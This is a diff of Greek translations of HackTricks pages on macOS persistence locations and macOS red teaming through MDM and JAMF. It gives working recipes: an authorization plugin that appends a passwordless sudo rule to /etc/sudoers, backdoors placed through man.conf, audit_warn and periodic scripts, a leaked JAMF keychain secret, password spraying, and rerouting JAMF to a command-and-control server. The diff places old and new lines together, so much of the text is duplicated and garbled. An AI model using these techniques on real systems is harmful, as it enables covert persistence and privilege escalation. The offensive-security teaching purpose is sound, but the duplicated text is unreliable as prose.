Για να δημιουργήσετε το δικό σας εισαγωγέα μπορείτε να ξεκινήσετε με αυτό το έργο: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) και στη συνέχεια να αλλάξετε το όνομα, το **`CFBundleDocumentTypes`** και να προσθέσετε **`UTImportedTypeDeclarations`** ώστε να υποστηρίζει την επέκταση που θέλετε και να τα αντικατοπτρίσετε στο **`schema.xml`**.\
Στη συνέχεια **αλλάξτε** τον κώδικα της συνάρτησης **`GetMetadataForFile`** για να εκτελεί το payload σας όταν δημιουργείται ένα αρχείο με την επεξεργασμένη επέκταση.
Τέλος **κάντε build και αντιγράψτε τον νέο σας `.mdimporter`** σε έναν από τους προηγούμενους τόπους και μπορείτε να ελέγξετε όταν φορτώνεται **παρακολουθώντας τα logs** ή ελέγχοντας **`mdimport -L.`**
Τέλος **κάντε build και αντιγράψτε τον νέο σας `.mdimporter`** σε μία από τις προηγούμενες τοποθεσίες και μπορείτε να ελέγξετε όταν φορτώνεται **παρακολουθώντας τα logs** ή ελέγχοντας το **`mdimport -L.`**
### ~~Πίνακας Προτιμήσεων~~
@ -1209,7 +1202,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
* Χρήσιμο για παράκαμψη αμμοθονίου: [🟠](https://emojipedia.org/large-orange-circle)
* Χρήσιμο για παράκαμψη αμμοθού: [🟠](https://emojipedia.org/large-orange-circle)
* Χρειάζεται συγκεκριμένη ενέργεια χρήστη
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
@ -1223,17 +1216,17 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
Δεν φαίνεται ότι λειτουργεί πλέον.
## Παράκαμψη Αμμοθονίου Root
## Παράκαμψη Αμμοθού Root
{% hint style="success" %}
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για **παράκαμψη αμμοθονίου** που σάς επιτρέπουν να απλά εκτελέσετε κάτι με το **να το γράψετε σε ένα αρχείο** ως **root** και/ή απαιτώντας άλλες **περίεργες συνθήκες.**
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για παράκαμψη αμμοθού που σάς επιτρέπει να απλά εκτελέσετε κάτι γράφοντάς το σε ένα αρχείο ως **root** και/ή απαιτώντας άλλες **περίεργες συνθήκες.**
{% endhint %}
### Περιοδικός
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
* Χρήσιμο για παράκαμψη αμμοθονίου: [🟠](https://emojipedia.org/large-orange-circle)
* Χρήσιμο για παράκαμψη αμμοθού: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε root
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
@ -1292,16 +1285,16 @@ monthly_local="/etc/monthly.local" # Local scripts
Εάν καταφέρετε να γράψετε οποιοδήποτε από τα αρχεία `/etc/daily.local`, `/etc/weekly.local` ή `/etc/monthly.local` θα **εκτελεστεί νωρίτερα ή αργότερα**.
{% hint style="warning" %}
Σημειώστε ότι το περιοδικό script θα **εκτελεστεί ως ο ιδιοκτήτης του script**. Έτσι, εάν ένας κανονικός χρήστης είναι ιδιοκτήτης του script, θα εκτελεστεί ως αυτός ο χρήστης (κάτι που μπορεί να αποτρέψει επιθέσεις εξάρτησης από δικαιώματα).
Σημειώστε ότι το περιοδικό script θα **εκτελεστεί ως ο ιδιοκτήτης του script**. Έτσι, εάν ένας κανονικός χρήστης είναι ιδιοκτήτης του script, θα εκτελεστεί ως αυτός ο χρήστης (κάτι που μπορεί να αποτρέψει επιθέσεις εξάρτησης από προνομιακά δικαιώματα).
{% endhint %}
### PAM
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
Ανάλυση: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Χρήσιμο για παράκαμψη αμμουδιάς: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε δικαιώματα ρίζας
* Αλλά χρειάζεστε ρίζα
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσία
@ -1310,7 +1303,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
#### Περιγραφή & Εκμετάλλευση
Καθώς το PAM είναι περισσότερο εστιασμένο στη **μόνιμη διατήρηση** και στο malware παρά στην εύκολη εκτέλεση μέσα στο macOS, αυτό το blog δεν θα δώσει μια λεπτομερή εξήγηση, **διαβάστε τα writeups για να κατανοήσετε καλύτερα αυτή την τεχνική**.
Καθώς το PAM είναι περισσότερο εστιασμένο στη **μόνιμη διατήρηση** και στο malware παρά στην εύκολη εκτέλεση μέσα στο macOS, αυτό το blog δεν θα δώσει μια λεπτομερή εξήγηση, **διαβάστε τις αναλύσεις για να κατανοήσετε καλύτερα αυτή την τεχνική**.
Ελέγξτε τα modules PAM με:
```bash
@ -1337,12 +1330,12 @@ session required pam_permit.so
Σημειώστε ότι αυτός ο κατάλογος προστατεύεται από το TCC, επομένως είναι πολύ πιθανό να ζητηθεί από τον χρήστη άδεια πρόσβασης.
{% endhint %}
### Πρόσθετα Εξουσιοδότησης
### Πρόσθετα Εξουσιοδοτικών Προγραμμάτων
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Ανάλυση: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Χρήσιμο για παράκαμψη του sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Χρήσιμο για παράκαμψη της αμμουδιάς: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε δικαιώματα ρίζας και επιπλέον ρυθμίσεις
* Παράκαμψη TCC: ???
@ -1350,11 +1343,11 @@ session required pam_permit.so
* `/Library/Security/SecurityAgentPlugins/`
* Απαιτείται ρίζα
* Απαιτείται επίσης να διαμορφώσετε τη βάση δεδομένων εξουσιοδότησης για να χρησιμοποιήσει το πρόσθετο
* Απαιτείται επίσης να ρυθμίσετε τη βάση δεδομένων εξουσιοδότησης για να χρησιμοποιήσει το πρόσθετο
#### Περιγραφή & Εκμετάλλευση
Μπορείτε να δημιουργήσετε ένα πρόσθετο εξουσιοδότησης που θα εκτελείται όταν ένας χρήστης συνδέεται για να διατηρήσετε την επιμονή. Για περισσότερες πληροφορίες σχετικά με το πώς να δημιουργήσετε ένα από αυτά τα πρόσθετα, ελέγξτε τις προηγούμενες αναλύσεις (και προσέξτε, ένα κακά γραμμένο μπορεί να σας κλειδώσει έξω και θα χρειαστεί να καθαρίσετε το Mac σας από τη λειτουργία ανάκτησης).
Μπορείτε να δημιουργήσετε ένα πρόσθετο εξουσιοδότησης που θα εκτελείται όταν ένας χρήστης συνδέεται για να διατηρήσει την επιμονή. Για περισσότερες πληροφορίες σχετικά με το πώς να δημιουργήσετε ένα από αυτά τα πρόσθετα, ελέγξτε τις προηγούμενες αναλύσεις (και προσέξτε, ένα κακά γραμμένο μπορεί να σας κλειδώσει έξω και θα χρειαστεί να καθαρίσετε το Mac σας από τη λειτουργία ανάκτησης).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1373,7 +1366,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
Τέλος, προσθέστε τον **κανόνα** για τη φόρτωση αυτού του Πρόσθετου:
Τέλος, προσθέστε τον **κανόνα** για τη φόρτωση αυτού του Plugin:
```bash
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
@ -1398,14 +1391,14 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```bash
security authorize com.asdf.asdf
```
Και στη συνέχεια η ομάδα **προσωπικού πρέπει να έχει πρόσβαση sudo** (διαβάστε `/etc/sudoers` για επιβεβαίωση).
Και στη συνέχεια η **ομάδα προσωπικού θα πρέπει να έχει πρόσβαση sudo** (διαβάστε `/etc/sudoers` για επιβεβαίωση).
### Man.conf
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
* Χρήσιμο για παράκαμψη αμμουδιάς: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά πρέπει να είστε ριζικός και ο χρήστης πρέπει να χρησιμοποιεί το man
* Χρήσιμο για παράκαμψη αμμοθονίου: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά πρέπει να είστε ριζοσπάστης και ο χρήστης πρέπει να χρησιμοποιεί το man
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσία
@ -1416,7 +1409,7 @@ security authorize com.asdf.asdf
#### Περιγραφή & Εκμετάλλευση
Το αρχείο ρυθμίσεων **`/private/etc/man.conf`** υποδεικνύει το δυαδικό/σενάριο που θα χρησιμοποιηθεί όταν ανοίγονται αρχεία τεκμηρίωσης man. Έτσι, το μονοπάτι προς το εκτελέσιμο μπορεί να τροποποιηθεί έτσι ώστε κάθε φορά που ο χρήστης χρησιμοποιεί το man για να διαβάσει κάποια έγγραφα, να εκτελείται ένα παρασκήνιο.
Το αρχείο ρυθμίσεων **`/private/etc/man.conf`** υποδεικνύει το δυαδικό/σενάριο που θα χρησιμοποιηθεί όταν ανοίγονται αρχεία τεκμηρίωσης man. Έτσι, το μονοπάτι προς το εκτελέσιμο μπορεί να τροποποιηθεί έτσι ώστε κάθε φορά που ο χρήστης χρησιμοποιεί το man για να διαβάσει κάποια έγγραφα, να εκτελείται ένα backdoor.
Για παράδειγμα, ορίστε στο **`/private/etc/man.conf`**:
```
@ -1471,18 +1464,18 @@ printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
```
### Πλαίσιο ελέγχου BSM
### Πλαίσιο ελέγχου BSM audit
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
* Χρήσιμο για παράκαμψη χωροθέτησης: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε δικαιώματα ρίζας, εκτέλεση του auditd και πρόκληση προειδοποίησης
* Χρήσιμο για παράκαμψη της αμμουδιάς: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε δικαιώματα ρίζας, το auditd να εκτελείται και να προκαλεί μια προειδοποίηση
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσία
* **`/etc/security/audit_warn`**
* Απαιτούνται δικαιώματα ρίζας
* Απαιτείται ρίζα
* **Ενεργοποίηση**: Όταν το auditd ανιχνεύει μια προειδοποίηση
#### Περιγραφή & Εκμετάλλευση
@ -1491,6 +1484,8 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
Μπορείτε να επιβάλετε έναν προειδοποιητικό μηχανισμό με `sudo audit -n`.
### Στοιχεία Εκκίνησης
{% hint style="danger" %}
@ -1503,6 +1498,9 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2. Ένα αρχείο **plist**, με το συγκεκριμένο όνομα `StartupParameters.plist`, το οποίο περιέχει διάφορες ρυθμίσεις διαμόρφωσης.
Βεβαιωθείτε ότι τόσο το rc script όσο και το αρχείο `StartupParameters.plist` έχουν τοποθετηθεί σωστά μέσα στον κατάλογο **StartupItem** για να τα αναγνωρίσει και να τα χρησιμοποιήσει η διαδικασία εκκίνησης.
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -1521,7 +1519,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
{% endtab %}
{% tab title="superservicename" %}Υπηρεσία εκκίνησης {% endtab %}
{% tab title="superservicename" %} {% endtab %}
```bash
#!/bin/sh
. /etc/rc.common
@ -1551,7 +1549,7 @@ RunService "$1"
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
Εισήχθη από την Apple, το **emond** είναι ένα μηχανισμός καταγραφής που φαίνεται να είναι ανεπτυγμένος ελάχιστα ή ίσως εγκαταλειμμένος, αλλά παραμένει προσβάσιμος. Αν και δεν είναι ιδιαίτερα χρήσιμος για έναν διαχειριστή Mac, αυτή η σκοτεινή υπηρεσία θα μπορούσε να λειτουργήσει ως ένας διακριτικός τρόπος διατήρησης για κακόβουλους χρήστες, πιθανώς απαρατήρητος από τους περισσότερους διαχειριστές macOS.
Εισήχθη από την Apple, το **emond** είναι ένα μηχανισμός καταγραφής που φαίνεται να είναι ανεπτυγμένος ελάχιστα ή ίσως εγκαταλειμμένος, αλλά παραμένει προσβάσιμος. Παρόλο που δεν είναι ιδιαίτερα χρήσιμος για έναν διαχειριστή Mac, αυτή η σκοτεινή υπηρεσία θα μπορούσε να λειτουργήσει ως ένας διακριτικός τρόπος διατήρησης για κακόβουλους εισβολείς, πιθανώς απαρατήρητος από τους περισσότερους διαχειριστές macOS.
Για όσους γνωρίζουν την ύπαρξή του, η ανίχνευση οποιασδήποτε κακόβουλης χρήσης του **emond** είναι απλή. Το LaunchDaemon του συστήματος για αυτήν την υπηρεσία αναζητά scripts για εκτέλεση σε έναν μόνο κατάλογο. Για να ελεγχθεί αυτό, μπορεί να χρησιμοποιηθεί η ακόλουθη εντολή:
```bash
@ -1569,12 +1567,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
#### Περιγραφή & Εκμετάλλευση
Το XQuartz **δεν εγκαθίσταται πλέον στο macOS**, οπότε αν θέλετε περισσότερες πληροφορίες, ελέγξτε το writeup.
Το XQuartz **δεν είναι πλέον εγκατεστημένο στο macOS**, οπότε αν θέλετε περισσότερες πληροφορίες, ελέγξτε το writeup.
### ~~kext~~
{% hint style="danger" %}
Είναι τόσο περίπλοκο να εγκαταστήσετε ένα kext ακόμα και ως ρίζα, ώστε δεν θα το θεωρήσω ως τρόπο απόδρασης από τα αμμόλοφα ή ακόμα και για διατήρηση (εκτός αν έχετε ένα εκμετάλλευση)
Είναι τόσο περίπλοκο να εγκαταστήσετε ένα kext ακόμα και ως ρίζα, ώστε δεν θα το λάβω υπόψη για να δραπετεύσετε από τις αμμουδιές ή ακόμα και για την επιμονή (εκτός αν έχετε ένα εκμετάλλευση)
{% endhint %}
#### Τοποθεσία
@ -1586,7 +1584,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
* `/Library/Extensions`
* Αρχεία KEXT που έχουν εγκατασταθεί από λογισμικό τρίτων
Μπορείτε να εμφανίσετε τα φορτωμένα αρχεία kext με:
Μπορείτε να εμφανίσετε τα τρέχοντα φορτωμένα αρχεία kext με:
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
@ -1594,7 +1592,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
Για περισσότερες πληροφορίες σχετικά με τις [**επεκτάσεις πυρήνα ελέγξτε αυτή την ενότητα**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
Για περισσότερες πληροφορίες σχετικά με τις [**επεκτάσεις πυρήνα ελέγξτε αυτήν την ενότητα**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
### ~~amstoold~~
@ -1607,7 +1605,7 @@ kextunload -b com.apple.driver.ExampleBundle
#### Περιγραφή & Εκμετάλλευση
Φαίνεται ότι το `plist` από το `/System/Library/LaunchAgents/com.apple.amstoold.plist` χρησιμοποιούσε αυτό το δυαδικό ενώ εκθέτοντας ένα XPC service... το πρόβλημα είναι ότι το δυαδικό δεν υπήρχε, οπότε θα μπορούσατε να τοποθετήσετε κάτι εκεί και όταν κληθεί το XPC service θα κληθεί το δικό σας δυαδικό.
Φαίνεται ότι το `plist` από το `/System/Library/LaunchAgents/com.apple.amstoold.plist` χρησιμοποιούσε αυτό το δυαδικό ενώ εκθέτοντας ένα XPC service... το πρόβλημα ήταν ότι το δυαδικό δεν υπήρχε, οπότε μπορούσατε να τοποθετήσετε κάτι εκεί και όταν κληθεί το XPC service θα κληθεί το δικό σας δυαδικό.
Δεν μπορώ πλέον να βρω αυτό στο macOS μου.
@ -1729,16 +1727,17 @@ esac
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε hacking tricks υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# macOS Red Teaming
{% hint style="success" %}
Μάθε & εξάσκησε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε την κακόβουλη εισβολή στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Κατάχρηση MDMs
@ -21,7 +22,7 @@
Εάν καταφέρετε να **διαρρεύσετε διαπιστευτήρια διαχειριστή** για πρόσβαση στην πλατφόρμα διαχείρισης, μπορείτε **πιθανώς να διαρρεύσετε όλους τους υπολογιστές** διανέμοντας το malware σας στις συσκευές.
Για την κακόβουλη εισβολή σε περιβάλλοντα MacOS, συνιστάται ιδιαίτερα να έχετε μια κατανόηση του πώς λειτουργούν τα MDMs:
Για το red teaming σε περιβάλλοντα MacOS είναι πολύ σημαντικό να έχετε μια κατανόηση για το πώς λειτουργούν τα MDMs:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
@ -29,19 +30,19 @@
### Χρήση MDM ως C2
Ένα MDM θα έχει άδεια να εγκαταστήσει, να ερευνήσει ή να αφαιρέσει προφίλ, να εγκαταστήσει εφαρμογές, να δημιουργήσει τοπικούς λογαριασμούς διαχειριστή, να ορίσει κωδικό πρόσβασης firmware, να αλλάξει το κλειδί FileVault...
Ένα MDM έχει άδεια να εγκαταστήσει, να ερωτήσει ή να αφαιρέσει προφίλ, να εγκαταστήσει εφαρμογές, να δημιουργήσει τοπικούς λογαριασμούς διαχειριστή, να ορίσει κωδικό πρόσβασης firmware, να αλλάξει το κλειδί FileVault...
Για να τρέξετε το δικό σας MDM, χρειάζεστε το **CSR σας υπογεγραμμένο από έναν προμηθευτή** το οποίο θα μπορούσατε να προσπαθήσετε να λάβετε από το [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple μπορείτε να χρησιμοποιήσετε το [**MicroMDM**](https://github.com/micromdm/micromdm).
Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, πρέπει ακόμα να είναι υπογεγραμμένη από ένα λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή στο MDM η **συσκευή προσθέτει το πιστοποιητικό SSL του MDM ως έμπιστο CA**, οπότε τώρα μπορείτε να υπογράψετε οτιδήποτε.
Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, πρέπει ακόμα να είναι υπογεγραμμένη από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή στο MDM η **συσκευή προσθέτει το πιστοποιητικό SSL του MDM ως έμπιστο CA**, οπότε τώρα μπορείτε να υπογράψετε οτιδήποτε.
Για να εγγράψετε τη συσκευή σε ένα MDM, πρέπει να εγκαταστήσετε ένα αρχείο **`mobileconfig`** ως ριζικός χρήστης, το οποίο θα μπορούσε να παραδοθεί μέσω ενός αρχείου **pkg** (μπορείτε να το συμπιέσετε σε zip και όταν το κατεβάσετε από το safari θα αποσυμπιέσεται).
Ο **Mythic agent Orthrus** χρησιμοποιεί αυτήν την τεχνική.
Το **Mythic agent Orthrus** χρησιμοποιεί αυτήν την τεχνική.
### Κατάχρηση JAMF PRO
Το JAMF μπορεί να εκτελέσει **προσαρμοσμένα scripts** (scripts που αναπτύχθηκαν από τον συστημικό διαχειριστή), **φυσικά φορτία** (δημιουργία τοπικών λογαριασμών, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διεργασιών...) και **MDM** (ρυθμίσεις συσκευών, πιστοποιητικά συσκευών...).
Το JAMF μπορεί να εκτελέσει **προσαρμοσμένα scripts** (scripts αναπτυγμένα από τον συστημικό διαχειριστή), **φορτία native** (δημιουργία τοπικών λογαριασμών, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διεργασιών...) και **MDM** (διαμορφώσεις συσκευών, πιστοποιητικά συσκευών...).
#### Αυτο-εγγραφή JAMF
@ -49,18 +50,18 @@
Μπορείτε να χρησιμοποιήσετε το script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να πραγματοποιήσετε επίθεση password spraying.
Επιπλέον, μετά την εύρεση κατάλληλων διαπιστευτηρίων, μπορείτε να είστε σε θέση να κάνετε brute-force άλλα ονόματα χρηστών με την επόμενη φόρμα:
Επιπλέον, μετά την εύρεση κατάλληλων διαπιστευτηρίων μπορείτε να είστε σε θέση να κάνετε brute-force άλλα ονόματα χρηστών με την επόμενη φόρμα:
![](<../../.gitbook/assets/image (7) (1) (1).png>)
![](<../../.gitbook/assets/image (107).png>)
#### Ταυτοποίηση συσκευής JAMF
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
Το **`jamf`** δυαδικό αρχείο περιείχε το μυστικό για να ανοίξει το keychain το οποίο την ώρα της ανακάλυψης ήταν **κοινόχρηστο** ανάμεσα σε όλους και ήταν: **`jk23ucnq91jfu9aj`**.\
Επιπλέον, το jamf **διατηρείται** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
Το **`jamf`** δυαδικό αρχείο περιείχε το μυστικό για να ανοίξει το keychain το οποίο την χρονική στιγμή της ανακάλυψης ήταν **κοινόχρηστο** μεταξύ όλων και ήταν: **`jk23ucnq91jfu9aj`**.\
Επιπλέον, το jamf **διατηρεί** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Πάρτε τον Έλεγχο της Συσκευής JAMF
#### Πάροχος συσκευής JAMF
Η **URL** του **JSS** (Jamf Software Server) που θα χρησιμοποιήσει το **`jamf`** βρίσκεται στο **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Αυτό το αρχείο περιέχει βασικά τη διεύθυνση URL:
@ -80,9 +81,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
Έτσι, ένας εισβολέας θα μπορούσε να αφήσει ένα κακόβουλο πακέτο (`pkg`) που **αντικαθιστά αυτό το αρχείο** κατά την εγκατάσταση, ορίζοντας το **URL σε ένα Mythic C2 listener από έναν πράκτορα Typhon** για να μπορεί τώρα να καταχραστεί το JAMF ως C2.
{% code overflow="wrap" %}
Έτσι, ένας εισβολέας θα μπορούσε να αποθέσει ένα κακόβουλο πακέτο (`pkg`) που **αντικαθιστά αυτό το αρχείο** κατά την εγκατάσταση, ρυθμίζοντας το **URL σε ένα Mythic C2 listener από έναν πράκτορα Typhon** για να μπορεί τώρα να καταχραστεί το JAMF ως C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@ -93,26 +92,26 @@ sudo jamf policy -id 0
#### Παραποίηση JAMF
Για να **παραστήσετε την επικοινωνία** μεταξύ ενός συστήματος και του JMF χρειάζεστε:
Για να **παρασιτήσετε την επικοινωνία** μεταξύ μιας συσκευής και του JMF χρειάζεστε:
* Το **UUID** της συσκευής: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Το **JAMF keychain** από: `/Library/Application\ Support/Jamf/JAMF.keychain` που περιέχει το πιστοποιητικό της συσκευής
